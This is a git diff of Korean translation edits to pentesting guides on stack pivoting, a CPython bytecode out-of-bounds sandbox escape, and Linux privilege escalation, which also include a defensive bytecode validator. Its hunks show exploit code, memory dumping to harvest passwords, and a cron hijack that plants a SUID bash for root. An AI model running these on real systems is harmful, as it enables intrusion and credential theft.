이것은 [ret2lib](../rop-return-oriented-programing/ret2lib/index.html)와 비슷하지만 더 복잡하며 엣지 케이스에서만 유용합니다.
|
||||
|
||||
게다가, 여기에서 이 기술을 사용하여 **스택 누수**로 승리하는 함수를 호출하는 [**챌린지의 예**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/leave)가 있습니다. 이것은 페이지의 최종 페이로드입니다:
|
||||
게다가, 여기에는 **스택 누수**를 사용하여 승리하는 함수를 호출하는 [**챌린지의 예**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/leave)가 있습니다. 이것은 페이지의 최종 페이로드입니다:
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
@ -100,9 +100,9 @@ print(p.recvline())
|
||||
|
||||
## EBP는 사용되지 않을 수 있습니다
|
||||
|
||||
[**이 게시물에서 설명된 바와 같이**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md#off-by-one-1), 이진 파일이 일부 최적화 또는 프레임 포인터 생략으로 컴파일된 경우, **EBP/RBP는 ESP/RSP를 제어하지 않습니다**. 따라서 EBP/RBP를 제어하여 작동하는 모든 익스플로잇은 프로롤로그/에필로그가 프레임 포인터에서 복원하지 않기 때문에 실패합니다.
|
||||
[**이 게시물에서 설명된 바와 같이**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md#off-by-one-1), 이진 파일이 일부 최적화 또는 프레임 포인터 생략으로 컴파일된 경우, **EBP/RBP는 ESP/RSP를 제어하지 않습니다**. 따라서 EBP/RBP를 제어하여 작동하는 모든 익스플로잇은 프로롤로그/에필로그가 프레임 포인터에서 복원하지 않기 때문에 실패할 것입니다.
|
||||
|
||||
- 최적화되지 않음 / 프레임 포인터 사용:
|
||||
- 최적화되지 않음 / 프레임 포인터 사용됨:
|
||||
```bash
|
||||
push %ebp # save ebp
|
||||
mov %esp,%ebp # set new ebp
|
||||
@ -190,7 +190,7 @@ ret2esp 기법에 대한 내용은 여기에서 확인하세요:
|
||||
|
||||
### 피벗 가젯을 빠르게 찾기
|
||||
|
||||
좋아하는 가젯 찾기 도구를 사용하여 고전적인 피벗 프리미티브를 검색하세요:
|
||||
좋아하는 가젯 찾기를 사용하여 고전적인 피벗 프리미티브를 검색하세요:
|
||||
|
||||
- `leave ; ret` 함수 또는 라이브러리에서
|
||||
- `pop rsp` / `xchg rax, rsp ; ret`
|
||||
@ -239,8 +239,8 @@ grep -E 'x86_Thread_features' /proc/$$/status # expect: shstk (and possibly wr
|
||||
(gdb) checksec
|
||||
```
|
||||
- 실습/CTF 노트:
|
||||
- 일부 최신 배포판은 하드웨어 및 glibc 지원이 있을 때 CET 지원 바이너리에 대해 SHSTK를 활성화합니다. VM에서 제어된 테스트를 위해 SHSTK는 커널 부트 매개변수 `nousershstk`를 통해 시스템 전체에서 비활성화할 수 있으며, 시작 시 glibc 조정으로 선택적으로 활성화할 수 있습니다(참조 참조). 프로덕션 대상에서 완화 조치를 비활성화하지 마십시오.
|
||||
- JOP/COOP 또는 SROP 기반 기술은 여전히 일부 대상에서 유효할 수 있지만, SHSTK는 특히 `ret` 기반 피벗을 깨뜨립니다.
|
||||
- 일부 최신 배포판은 하드웨어 및 glibc 지원이 있을 때 CET가 활성화된 바이너리에 대해 SHSTK를 활성화합니다. VM에서 제어된 테스트를 위해 SHSTK는 커널 부트 매개변수 `nousershstk`를 통해 시스템 전체에서 비활성화할 수 있으며, 시작 시 glibc 조정으로 선택적으로 활성화할 수 있습니다(참조 참조). 프로덕션 대상에서 완화 조치를 비활성화하지 마십시오.
|
||||
- JOP/COOP 또는 SROP 기반 기술은 여전히 일부 대상에서 유효할 수 있지만, SHSTK는 특히 `ret` 기반 피벗을 무너뜨립니다.
|
||||
|
||||
- Windows 노트: Windows 10+는 사용자 모드를 노출하고 Windows 11은 그림자 스택을 기반으로 한 커널 모드 "하드웨어 강제 스택 보호"를 추가합니다. CET 호환 프로세스는 `ret`에서 스택 피벗/ROP를 방지합니다; 개발자는 CETCOMPAT 및 관련 정책을 통해 선택적으로 활성화합니다(참조 참조).
|
||||
|
||||
@ -248,7 +248,7 @@ grep -E 'x86_Thread_features' /proc/$$/status # expect: shstk (and possibly wr
|
||||
|
||||
ARM64에서 함수의 **프롤로그와 에필로그**는 **스택에 SP 레지스터를 저장하거나 검색하지 않습니다**. 또한, **`RET`** 명령은 SP가 가리키는 주소로 반환하지 않고, **`x30`** 내부의 주소로 반환합니다.
|
||||
|
||||
따라서 기본적으로 에필로그를 남용하더라도 **스택 내부의 일부 데이터를 덮어써서 SP 레지스터를 제어할 수 없습니다**. SP를 제어할 수 있게 되더라도 여전히 **`x30`** 레지스터를 제어할 방법이 필요합니다.
|
||||
따라서 기본적으로 에필로그를 남용하더라도 **스택 내부의 일부 데이터를 덮어써서 SP 레지스터를 제어할 수 없습니다**. SP를 제어하더라도 여전히 **`x30`** 레지스터를 제어할 방법이 필요합니다.
|
||||
|
||||
- 프롤로그
|
||||
|
||||
@ -267,7 +267,7 @@ ret
|
||||
```
|
||||
|
||||
> [!CAUTION]
|
||||
> ARM64에서 스택 피벗과 유사한 작업을 수행하는 방법은 **`SP`**를 제어할 수 있는 것입니다(어떤 레지스터의 값을 제어하여 `SP`에 전달하거나, 어떤 이유로 `SP`가 스택에서 주소를 가져오고 오버플로우가 발생하는 경우) 그리고 **에필로그를 남용하여** **제어된 `SP`**에서 **`x30`** 레지스터를 로드하고 **`RET`**로 이동하는 것입니다.
|
||||
> ARM64에서 스택 피벗과 유사한 작업을 수행하는 방법은 **`SP`**를 제어할 수 있는 것입니다(어떤 레지스터의 값을 제어하여 `SP`에 전달하거나, 어떤 이유로 `SP`가 스택에서 주소를 가져오고 오버플로우가 발생하는 경우) 그리고 **에필로그를 남용하여** **제어된 `SP`**에서 **`x30`** 레지스터를 로드하고 **`RET`**하는 것입니다.
|
||||
|
||||
다음 페이지에서 **ARM64의 Ret2esp**에 해당하는 내용을 볼 수 있습니다:
|
||||
|
||||
@ -282,7 +282,7 @@ ret
|
||||
- [https://guyinatuxedo.github.io/17-stack_pivot/dcquals19_speedrun4/index.html](https://guyinatuxedo.github.io/17-stack_pivot/dcquals19_speedrun4/index.html)
|
||||
- 64 비트, ret sled로 시작하는 오프 바이 원 익스플로잇
|
||||
- [https://guyinatuxedo.github.io/17-stack_pivot/insomnihack18_onewrite/index.html](https://guyinatuxedo.github.io/17-stack_pivot/insomnihack18_onewrite/index.html)
|
||||
- 64 비트, relro, canary, nx 및 pie 없음. 프로그램은 스택 또는 pie에 대한 누출과 qword의 WWW를 제공합니다. 먼저 스택 누출을 얻고 WWW를 사용하여 다시 돌아가서 pie 누출을 얻습니다. 그런 다음 WWW를 사용하여 `.fini_array` 항목을 남용하여 영구 루프를 생성하고 `__libc_csu_fini`를 호출합니다([자세한 정보는 여기](../arbitrary-write-2-exec/www2exec-.dtors-and-.fini_array.md)). 이 "영구" 쓰기를 남용하여 .bss에 ROP 체인을 작성하고 RBP로 피벗하여 호출합니다.
|
||||
- 64 비트, relro, canary, nx 및 pie 없음. 프로그램은 스택 또는 pie에 대한 누출과 qword의 WWW를 제공합니다. 먼저 스택 누출을 얻고 WWW를 사용하여 다시 돌아가 pie 누출을 얻습니다. 그런 다음 WWW를 사용하여 `.fini_array` 항목을 남용하여 영구 루프를 생성하고 `__libc_csu_fini`를 호출합니다([자세한 정보는 여기](../arbitrary-write-2-exec/www2exec-.dtors-and-.fini_array.md)). 이 "영구" 쓰기를 남용하여 .bss에 ROP 체인이 작성되고 RBP로 피벗하여 호출됩니다.
|
||||
- 리눅스 커널 문서: 제어 흐름 강화 기술(CET) 그림자 스택 — SHSTK, `nousershstk`, `/proc/$PID/status` 플래그 및 `arch_prctl`을 통한 활성화에 대한 세부정보. https://www.kernel.org/doc/html/next/x86/shstk.html
|
||||
- Microsoft Learn: 커널 모드 하드웨어 강제 스택 보호(CET 그림자 스택이 Windows에서). https://learn.microsoft.com/en-us/windows-server/security/kernel-mode-hardware-stack-protection
|
||||
|
||||
|
@ -8,7 +8,7 @@
|
||||
|
||||
LOAD_NAME / LOAD_CONST opcode의 OOB read 기능을 사용하여 메모리에서 일부 심볼을 가져올 수 있습니다. 이는 `(a, b, c, ... 수백 개의 심볼 ..., __getattribute__) if [] else [].__getattribute__(...)`와 같은 트릭을 사용하여 원하는 심볼(예: 함수 이름)을 가져오는 것을 의미합니다.
|
||||
|
||||
그런 다음 당신의 익스플로잇을 제작하세요.
|
||||
그런 다음 당신의 익스플로잇을 작성하세요.
|
||||
|
||||
### Overview <a href="#overview-1" id="overview-1"></a>
|
||||
|
||||
@ -35,11 +35,11 @@ print(eval(code, {'__builtins__': {}}))1234
|
||||
6 BUILD_LIST 3
|
||||
8 RETURN_VALUE12345
|
||||
```
|
||||
하지만 `co_names`가 빈 튜플이 되면 어떻게 될까요? `LOAD_NAME 2` opcode는 여전히 실행되며, 원래 읽어야 할 메모리 주소에서 값을 읽으려고 시도합니다. 네, 이것은 경계 초과 읽기 "기능"입니다.
|
||||
하지만 `co_names`가 빈 튜플이 된다면 어떻게 될까요? `LOAD_NAME 2` opcode는 여전히 실행되며, 원래 읽어야 할 메모리 주소에서 값을 읽으려고 시도합니다. 네, 이것은 경계 초과 읽기 "기능"입니다.
|
||||
|
||||
해결책의 핵심 개념은 간단합니다. CPython의 일부 opcode, 예를 들어 `LOAD_NAME`과 `LOAD_CONST`는 OOB 읽기에 취약합니다(?).
|
||||
|
||||
이들은 `consts` 또는 `names` 튜플에서 `oparg` 인덱스의 객체를 검색합니다(그것이 `co_consts`와 `co_names`가 내부적으로 명명된 방식입니다). CPython이 `LOAD_CONST` opcode를 처리할 때 무엇을 하는지 보기 위해 `LOAD_CONST`에 대한 다음 짧은 코드 조각을 참조할 수 있습니다.
|
||||
이들은 `consts` 또는 `names` 튜플에서 `oparg` 인덱스의 객체를 검색합니다(그것이 `co_consts`와 `co_names`가 내부적으로 명명된 방식입니다). CPython이 `LOAD_CONST` opcode를 처리할 때 어떤 일을 하는지 보기 위해 `LOAD_CONST`에 대한 다음의 짧은 스니펫을 참조할 수 있습니다.
|
||||
```c
|
||||
case TARGET(LOAD_CONST): {
|
||||
PREDICTED(LOAD_CONST);
|
||||
@ -53,7 +53,7 @@ FAST_DISPATCH();
|
||||
|
||||
### Exploit 생성하기 <a href="#generating-the-exploit" id="generating-the-exploit"></a>
|
||||
|
||||
유용한 이름/상수의 오프셋을 가져온 후, 그 오프셋에서 이름/상수를 어떻게 가져와서 사용할 수 있을까요? 여기에 대한 요령이 있습니다:\
|
||||
유용한 이름/const의 오프셋을 가져온 후, 그 오프셋에서 이름/const를 어떻게 가져와서 사용할 수 있을까요? 다음은 당신을 위한 트릭입니다:\
|
||||
오프셋 5(`LOAD_NAME 5`)에서 `__getattribute__` 이름을 가져올 수 있다고 가정해 보겠습니다(`co_names=()`). 그러면 다음 작업을 수행하세요:
|
||||
```python
|
||||
[a,b,c,d,e,__getattribute__] if [] else [
|
||||
@ -61,7 +61,7 @@ FAST_DISPATCH();
|
||||
# you can get the __getattribute__ method of list object now!
|
||||
]1234
|
||||
```
|
||||
> `__getattribute__`로 이름을 지정할 필요는 없으며, 더 짧거나 이상한 이름으로 지정할 수 있습니다.
|
||||
> `__getattribute__`라고 이름을 붙일 필요는 없으며, 더 짧거나 이상한 이름으로 지정할 수 있습니다.
|
||||
|
||||
그 이유는 바이트코드를 보기만 해도 이해할 수 있습니다:
|
||||
```python
|
||||
@ -80,7 +80,7 @@ FAST_DISPATCH();
|
||||
24 BUILD_LIST 1
|
||||
26 RETURN_VALUE1234567891011121314
|
||||
```
|
||||
`LOAD_ATTR`는 `co_names`에서 이름을 검색한다는 점에 유의하세요. Python은 이름이 동일할 경우 동일한 오프셋에서 이름을 로드하므로 두 번째 `__getattribute__`는 여전히 offset=5에서 로드됩니다. 이 기능을 사용하면 이름이 근처 메모리에 있을 때 임의의 이름을 사용할 수 있습니다.
|
||||
`LOAD_ATTR`는 `co_names`에서 이름을 검색한다는 점에 유의하세요. Python은 이름이 동일할 경우 동일한 오프셋에서 이름을 로드하므로 두 번째 `__getattribute__`도 offset=5에서 로드됩니다. 이 기능을 사용하면 이름이 메모리 근처에 있을 때 임의의 이름을 사용할 수 있습니다.
|
||||
|
||||
숫자를 생성하는 것은 간단해야 합니다:
|
||||
|
||||
@ -93,7 +93,7 @@ FAST_DISPATCH();
|
||||
|
||||
길이 제한 때문에 consts를 사용하지 않았습니다.
|
||||
|
||||
먼저, 이름의 오프셋을 찾기 위한 스크립트입니다.
|
||||
먼저 이름의 오프셋을 찾기 위한 스크립트입니다.
|
||||
```python
|
||||
from types import CodeType
|
||||
from opcode import opmap
|
||||
@ -222,16 +222,16 @@ builtins['eval'](builtins['input']())
|
||||
|
||||
### 버전 노트 및 영향을 받는 opcode (Python 3.11–3.13)
|
||||
|
||||
- CPython 바이트코드 opcode는 여전히 정수 피연산자로 `co_consts` 및 `co_names` 튜플에 인덱싱합니다. 공격자가 이러한 튜플을 비우거나(또는 바이트코드에서 사용되는 최대 인덱스보다 작게) 강제로 만들 수 있다면, 인터프리터는 해당 인덱스에 대해 경계 밖 메모리를 읽게 되어 인근 메모리에서 임의의 PyObject 포인터를 반환합니다. 관련 opcode에는 최소한 다음이 포함됩니다:
|
||||
- CPython 바이트코드 opcode는 여전히 정수 피연산자로 `co_consts` 및 `co_names` 튜플에 인덱싱합니다. 공격자가 이러한 튜플을 비워두거나(또는 바이트코드에서 사용되는 최대 인덱스보다 작게) 강제로 만들 수 있다면, 인터프리터는 해당 인덱스에 대해 경계 밖 메모리를 읽게 되어 인근 메모리에서 임의의 PyObject 포인터를 반환합니다. 관련 opcode에는 최소한 다음이 포함됩니다:
|
||||
- `LOAD_CONST consti` → `co_consts[consti]`를 읽습니다.
|
||||
- `LOAD_NAME namei`, `STORE_NAME`, `DELETE_NAME`, `LOAD_GLOBAL`, `STORE_GLOBAL`, `IMPORT_NAME`, `IMPORT_FROM`, `LOAD_ATTR`, `STORE_ATTR` → `co_names[...]`에서 이름을 읽습니다 (3.11+에서는 `LOAD_ATTR`/`LOAD_GLOBAL`이 낮은 비트에 저장 플래그 비트를 기록합니다; 실제 인덱스는 `namei >> 1`입니다). 각 버전별 정확한 의미는 디스어셈블러 문서를 참조하세요. [Python dis docs].
|
||||
- Python 3.11+는 명령어 사이에 숨겨진 `CACHE` 항목을 추가하는 적응형/인라인 캐시를 도입했습니다. 이는 OOB 원시를 변경하지 않으며, 바이트코드를 수동으로 작성할 경우 이러한 캐시 항목을 `co_code`를 구축할 때 고려해야 함을 의미합니다.
|
||||
- `LOAD_NAME namei`, `STORE_NAME`, `DELETE_NAME`, `LOAD_GLOBAL`, `STORE_GLOBAL`, `IMPORT_NAME`, `IMPORT_FROM`, `LOAD_ATTR`, `STORE_ATTR` → `co_names[...]`에서 이름을 읽습니다(3.11+에서는 `LOAD_ATTR`/`LOAD_GLOBAL`이 낮은 비트에 플래그 비트를 저장하므로 실제 인덱스는 `namei >> 1`입니다). 버전별 정확한 의미는 디스어셈블러 문서를 참조하십시오. [Python dis docs].
|
||||
- Python 3.11+에서는 명령어 사이에 숨겨진 `CACHE` 항목을 추가하는 적응형/인라인 캐시가 도입되었습니다. 이는 OOB 원시값을 변경하지 않으며, 바이트코드를 수동으로 작성할 경우 이러한 캐시 항목을 `co_code`를 구축할 때 고려해야 함을 의미합니다.
|
||||
|
||||
실용적인 의미: 이 페이지의 기술은 코드 객체를 제어할 수 있을 때(CODEType.replace(...)를 통해) CPython 3.11, 3.12 및 3.13에서 계속 작동합니다. `co_consts`/`co_names`를 축소할 수 있습니다.
|
||||
|
||||
### 유용한 OOB 인덱스를 위한 빠른 스캐너 (3.11+/3.12+ 호환)
|
||||
|
||||
바이트코드에서 고급 소스가 아닌 흥미로운 객체를 직접 탐색하는 것을 선호하는 경우, 최소한의 코드 객체를 생성하고 인덱스를 무차별 대입할 수 있습니다. 아래 도우미는 필요할 때 자동으로 인라인 캐시를 삽입합니다.
|
||||
고급 소스가 아닌 바이트코드에서 직접 흥미로운 객체를 탐색하는 것을 선호하는 경우, 최소한의 코드 객체를 생성하고 인덱스를 무작위로 시도할 수 있습니다. 아래 도우미는 필요할 때 자동으로 인라인 캐시를 삽입합니다.
|
||||
```python
|
||||
import dis, types
|
||||
|
||||
@ -274,7 +274,7 @@ Notes
|
||||
- 이름을 조사하려면 `LOAD_CONST`를 `LOAD_NAME`/`LOAD_GLOBAL`/`LOAD_ATTR`로 바꾸고 스택 사용을 적절히 조정하세요.
|
||||
- 필요하다면 `EXTENDED_ARG` 또는 여러 바이트의 `arg`를 사용하여 인덱스 >255에 도달하세요. 위와 같이 `dis`로 빌드할 때는 낮은 바이트만 제어할 수 있으며, 더 큰 인덱스의 경우 원시 바이트를 직접 구성하거나 여러 로드에 걸쳐 공격을 분할하세요.
|
||||
|
||||
### Minimal bytecode-only RCE pattern (co_consts OOB → builtins → eval/input)
|
||||
### 최소 바이트코드 전용 RCE 패턴 (co_consts OOB → builtins → eval/input)
|
||||
|
||||
`co_consts` 인덱스가 builtins 모듈로 해결되는 것을 식별한 후, 스택을 조작하여 `eval(input())`을 `co_names` 없이 재구성할 수 있습니다:
|
||||
```python
|
||||
@ -289,7 +289,7 @@ Notes
|
||||
|
||||
### 샌드박스를 위한 방어적 검사 및 완화 조치
|
||||
|
||||
신뢰할 수 없는 코드를 컴파일/평가하거나 코드 객체를 조작하는 Python “샌드박스”를 작성하는 경우, 바이트코드에서 사용되는 튜플 인덱스의 경계를 확인하기 위해 CPython에 의존하지 마십시오. 대신, 실행하기 전에 코드 객체를 직접 검증하십시오.
|
||||
신뢰할 수 없는 코드를 컴파일/평가하거나 코드 객체를 조작하는 Python “샌드박스”를 작성하는 경우, 바이트코드에서 사용되는 튜플 인덱스의 경계를 검사하는 데 CPython에 의존하지 마십시오. 대신, 실행하기 전에 코드 객체를 직접 검증하십시오.
|
||||
|
||||
실용적인 검증기 (co_consts/co_names에 대한 OOB 접근 거부)
|
||||
```python
|
||||
@ -323,9 +323,9 @@ raise ValueError("Bytecode refers to name index beyond co_names length")
|
||||
# validate_code_object(c)
|
||||
# eval(c, {'__builtins__': {}})
|
||||
```
|
||||
추가 완화 아이디어
|
||||
추가적인 완화 아이디어
|
||||
- 신뢰할 수 없는 입력에 대해 임의의 `CodeType.replace(...)`를 허용하지 않거나, 결과 코드 객체에 대한 엄격한 구조 검사를 추가하십시오.
|
||||
- CPython 의미에 의존하는 대신 OS 수준 샌드박싱(예: seccomp, 작업 객체, 컨테이너)으로 신뢰할 수 없는 코드를 별도의 프로세스에서 실행하는 것을 고려하십시오.
|
||||
- CPython 의미에 의존하는 대신 OS 수준의 샌드박싱(예: seccomp, 작업 객체, 컨테이너)으로 신뢰할 수 없는 코드를 별도의 프로세스에서 실행하는 것을 고려하십시오.
|
||||
|
||||
|
||||
|
||||
|
@ -2,9 +2,9 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## System Information
|
||||
## 시스템 정보
|
||||
|
||||
### OS info
|
||||
### OS 정보
|
||||
|
||||
운영 중인 OS에 대한 정보를 얻는 것부터 시작합시다.
|
||||
```bash
|
||||
@ -43,7 +43,7 @@ curl https://raw.githubusercontent.com/lucyoa/kernel-exploits/master/README.md 2
|
||||
|
||||
[linux-exploit-suggester.sh](https://github.com/mzet-/linux-exploit-suggester)\
|
||||
[linux-exploit-suggester2.pl](https://github.com/jondonas/linux-exploit-suggester-2)\
|
||||
[linuxprivchecker.py](http://www.securitysift.com/download/linuxprivchecker.py) (피해자에서 실행, 2.x 커널에 대한 취약점만 확인)
|
||||
[linuxprivchecker.py](http://www.securitysift.com/download/linuxprivchecker.py) (피해자에서 실행, 커널 2.x에 대한 취약점만 확인)
|
||||
|
||||
항상 **Google에서 커널 버전을 검색하세요**, 아마도 귀하의 커널 버전이 일부 커널 취약점에 기록되어 있을 것이며, 그러면 이 취약점이 유효하다는 것을 확신할 수 있습니다.
|
||||
|
||||
@ -59,7 +59,7 @@ https://github.com/evait-security/ClickNRoot/blob/master/1/exploit.c
|
||||
```
|
||||
### Sudo 버전
|
||||
|
||||
취약한 sudo 버전에 기반하여 다음에 나타나는:
|
||||
취약한 sudo 버전에 따라 다음과 같이 나타납니다:
|
||||
```bash
|
||||
searchsploit sudo
|
||||
```
|
||||
@ -86,7 +86,7 @@ date 2>/dev/null #Date
|
||||
lscpu #CPU info
|
||||
lpstat -a 2>/dev/null #Printers info
|
||||
```
|
||||
## 가능한 방어 수단 열거
|
||||
## 가능한 방어 수단 나열
|
||||
|
||||
### AppArmor
|
||||
```bash
|
||||
@ -123,7 +123,7 @@ cat /proc/sys/kernel/randomize_va_space 2>/dev/null
|
||||
```
|
||||
## Docker Breakout
|
||||
|
||||
Docker 컨테이너 내부에 있다면 탈출을 시도할 수 있습니다:
|
||||
Docker 컨테이너 내부에 있는 경우, 컨테이너에서 탈출을 시도할 수 있습니다:
|
||||
|
||||
{{#ref}}
|
||||
docker-security/
|
||||
@ -131,7 +131,7 @@ docker-security/
|
||||
|
||||
## Drives
|
||||
|
||||
**마운트된 것과 마운트 해제된 것**을 확인하고, 어디서 왜 그런지 확인하세요. 마운트 해제된 것이 있다면, 그것을 마운트하고 개인 정보를 확인해 볼 수 있습니다.
|
||||
**마운트된 것과 마운트 해제된 것**을 확인하고, 그 위치와 이유를 파악하세요. 마운트 해제된 것이 있다면, 이를 마운트하고 개인 정보를 확인해 볼 수 있습니다.
|
||||
```bash
|
||||
ls /dev 2>/dev/null | grep -i "sd"
|
||||
cat /etc/fstab 2>/dev/null | grep -v "^#" | grep -Pv "\W*\#" 2>/dev/null
|
||||
@ -144,7 +144,7 @@ grep -E "(user|username|login|pass|password|pw|credentials)[=:]" /etc/fstab /etc
|
||||
```bash
|
||||
which nmap aws nc ncat netcat nc.traditional wget curl ping gcc g++ make gdb base64 socat python python2 python3 python2.7 python2.6 python3.6 python3.7 perl php ruby xterm doas sudo fetch docker lxc ctr runc rkt kubectl 2>/dev/null
|
||||
```
|
||||
또한 **어떤 컴파일러가 설치되어 있는지 확인하십시오**. 이는 커널 익스플로잇을 사용해야 할 경우 유용하며, 이를 사용할 머신(또는 유사한 머신)에서 컴파일하는 것이 권장됩니다.
|
||||
또한 **어떤 컴파일러가 설치되어 있는지 확인하세요**. 이는 커널 익스플로잇을 사용해야 할 경우 유용하며, 이를 사용할 머신(또는 유사한 머신)에서 컴파일하는 것이 권장됩니다.
|
||||
```bash
|
||||
(dpkg --list 2>/dev/null | grep "compiler" | grep -v "decompiler\|lib" 2>/dev/null || yum list installed 'gcc*' 2>/dev/null | grep gcc 2>/dev/null; which gcc g++ 2>/dev/null || locate -r "/gcc[0-9\.-]\+$" 2>/dev/null | grep -v "/doc/")
|
||||
```
|
||||
@ -162,14 +162,14 @@ SSH에 대한 접근 권한이 있는 경우, **openVAS**를 사용하여 머신
|
||||
|
||||
## 프로세스
|
||||
|
||||
**어떤 프로세스**가 실행되고 있는지 살펴보고, 어떤 프로세스가 **필요 이상으로 권한이 있는지** 확인하십시오(예: root로 실행되는 tomcat?).
|
||||
**어떤 프로세스**가 실행되고 있는지 살펴보고, 어떤 프로세스가 **필요 이상으로 권한이 있는지** 확인하십시오 (예: root에 의해 실행되는 tomcat?).
|
||||
```bash
|
||||
ps aux
|
||||
ps -ef
|
||||
top -n 1
|
||||
```
|
||||
항상 가능한 [**electron/cef/chromium 디버거**가 실행 중인지 확인하세요. 이를 악용하여 권한을 상승시킬 수 있습니다](electron-cef-chromium-debugger-abuse.md). **Linpeas**는 프로세스의 명령줄에서 `--inspect` 매개변수를 확인하여 이를 감지합니다.\
|
||||
또한 **프로세스 바이너리에 대한 권한을 확인하세요**, 누군가의 파일을 덮어쓸 수 있을지도 모릅니다.
|
||||
또한 **프로세스 바이너리에 대한 권한을 확인하세요**, 누군가를 덮어쓸 수 있을지도 모릅니다.
|
||||
|
||||
### 프로세스 모니터링
|
||||
|
||||
@ -182,14 +182,14 @@ top -n 1
|
||||
그러나 **일반 사용자로서 자신이 소유한 프로세스의 메모리를 읽을 수 있다는 점을 기억하세요**.
|
||||
|
||||
> [!WARNING]
|
||||
> 현재 대부분의 머신은 **기본적으로 ptrace를 허용하지 않습니다**. 이는 권한이 없는 사용자가 소속된 다른 프로세스를 덤프할 수 없음을 의미합니다.
|
||||
> 요즘 대부분의 머신은 **기본적으로 ptrace를 허용하지 않습니다**. 이는 권한이 없는 사용자가 소유한 다른 프로세스를 덤프할 수 없음을 의미합니다.
|
||||
>
|
||||
> 파일 _**/proc/sys/kernel/yama/ptrace_scope**_는 ptrace의 접근성을 제어합니다:
|
||||
>
|
||||
> - **kernel.yama.ptrace_scope = 0**: 모든 프로세스는 동일한 uid를 가진 한 디버깅할 수 있습니다. 이는 ptracing이 작동하던 고전적인 방식입니다.
|
||||
> - **kernel.yama.ptrace_scope = 1**: 부모 프로세스만 디버깅할 수 있습니다.
|
||||
> - **kernel.yama.ptrace_scope = 2**: 오직 관리자만 ptrace를 사용할 수 있으며, 이는 CAP_SYS_PTRACE 권한이 필요합니다.
|
||||
> - **kernel.yama.ptrace_scope = 3**: 어떤 프로세스도 ptrace로 추적할 수 없습니다. 설정 후에는 ptracing을 다시 활성화하려면 재부팅이 필요합니다.
|
||||
> - **kernel.yama.ptrace_scope = 3**: ptrace로 추적할 수 있는 프로세스가 없습니다. 설정 후에는 ptracing을 다시 활성화하려면 재부팅이 필요합니다.
|
||||
|
||||
#### GDB
|
||||
|
||||
@ -215,7 +215,7 @@ done
|
||||
```
|
||||
#### /proc/$pid/maps & /proc/$pid/mem
|
||||
|
||||
주어진 프로세스 ID에 대해, **maps는 해당 프로세스의** 가상 주소 공간 내에서 메모리가 어떻게 매핑되어 있는지를 보여줍니다; 또한 **각 매핑된 영역의 권한**도 보여줍니다. **mem** 가상 파일은 **프로세스의 메모리 자체를 노출**합니다. **maps** 파일에서 우리는 어떤 **메모리 영역이 읽을 수 있는지**와 그 오프셋을 알 수 있습니다. 우리는 이 정보를 사용하여 **mem 파일로 이동하고 모든 읽을 수 있는 영역을** 파일로 덤프합니다.
|
||||
주어진 프로세스 ID에 대해, **maps는 해당 프로세스의** 가상 주소 공간 내에서 메모리가 어떻게 매핑되는지를 보여줍니다; 또한 **각 매핑된 영역의 권한**도 보여줍니다. **mem** 가상 파일은 **프로세스의 메모리 자체를 노출**합니다. **maps** 파일에서 우리는 어떤 **메모리 영역이 읽을 수 있는지**와 그 오프셋을 알 수 있습니다. 우리는 이 정보를 사용하여 **mem 파일로 이동하고 모든 읽을 수 있는 영역을** 파일로 덤프합니다.
|
||||
```bash
|
||||
procdump()
|
||||
(
|
||||
@ -288,7 +288,7 @@ strings *.dump | grep -i password
|
||||
```
|
||||
#### mimipenguin
|
||||
|
||||
The tool [**https://github.com/huntergregal/mimipenguin**](https://github.com/huntergregal/mimipenguin) will **메모리에서 평문 자격 증명을 훔치고** 일부 **잘 알려진 파일**에서 가져옵니다. 제대로 작동하려면 루트 권한이 필요합니다.
|
||||
도구 [**https://github.com/huntergregal/mimipenguin**](https://github.com/huntergregal/mimipenguin)은 **메모리에서 평문 자격 증명을 훔치고** 일부 **잘 알려진 파일**에서 가져옵니다. 제대로 작동하려면 루트 권한이 필요합니다.
|
||||
|
||||
| 기능 | 프로세스 이름 |
|
||||
| ------------------------------------------------- | -------------------- |
|
||||
@ -296,7 +296,7 @@ The tool [**https://github.com/huntergregal/mimipenguin**](https://github.com/hu
|
||||
| Gnome Keyring (Ubuntu Desktop, ArchLinux Desktop) | gnome-keyring-daemon |
|
||||
| LightDM (Ubuntu Desktop) | lightdm |
|
||||
| VSFTPd (활성 FTP 연결) | vsftpd |
|
||||
| Apache2 (활성 HTTP 기본 인증 세션) | apache2 |
|
||||
| Apache2 (활성 HTTP 기본 인증 세션) | apache2 |
|
||||
| OpenSSH (활성 SSH 세션 - Sudo 사용) | sshd: |
|
||||
|
||||
#### Search Regexes/[truffleproc](https://github.com/controlplaneio/truffleproc)
|
||||
@ -315,7 +315,7 @@ Reading symbols from /lib/x86_64-linux-gnu/librt.so.1...
|
||||
```
|
||||
## Scheduled/Cron jobs
|
||||
|
||||
취약한 예약 작업이 있는지 확인하십시오. 루트에 의해 실행되는 스크립트를 이용할 수 있을지도 모릅니다 (와일드카드 취약점? 루트가 사용하는 파일을 수정할 수 있습니까? 심볼릭 링크를 사용할 수 있습니까? 루트가 사용하는 디렉토리에 특정 파일을 생성할 수 있습니까?).
|
||||
취약한 예약 작업이 있는지 확인하십시오. 루트에 의해 실행되는 스크립트를 이용할 수 있을지도 모릅니다(와일드카드 취약점? 루트가 사용하는 파일을 수정할 수 있습니까? 심볼릭 링크를 사용할 수 있습니까? 루트가 사용하는 디렉토리에 특정 파일을 생성할 수 있습니까?).
|
||||
```bash
|
||||
crontab -l
|
||||
ls -al /etc/cron* /etc/at*
|
||||
@ -328,7 +328,7 @@ cat /etc/cron* /etc/at* /etc/anacrontab /var/spool/cron/crontabs/root 2>/dev/nul
|
||||
(_사용자 "user"가 /home/user에 대한 쓰기 권한을 가지고 있는 것을 주목하세요_)
|
||||
|
||||
이 crontab 안에서 root 사용자가 경로를 설정하지 않고 어떤 명령이나 스크립트를 실행하려고 하면, 예를 들어: _\* \* \* \* root overwrite.sh_\
|
||||
그렇다면, 다음을 사용하여 root 셸을 얻을 수 있습니다:
|
||||
그렇다면, 다음을 사용하여 root 쉘을 얻을 수 있습니다:
|
||||
```bash
|
||||
echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > /home/user/overwrite.sh
|
||||
#Wait cron job to be executed
|
||||
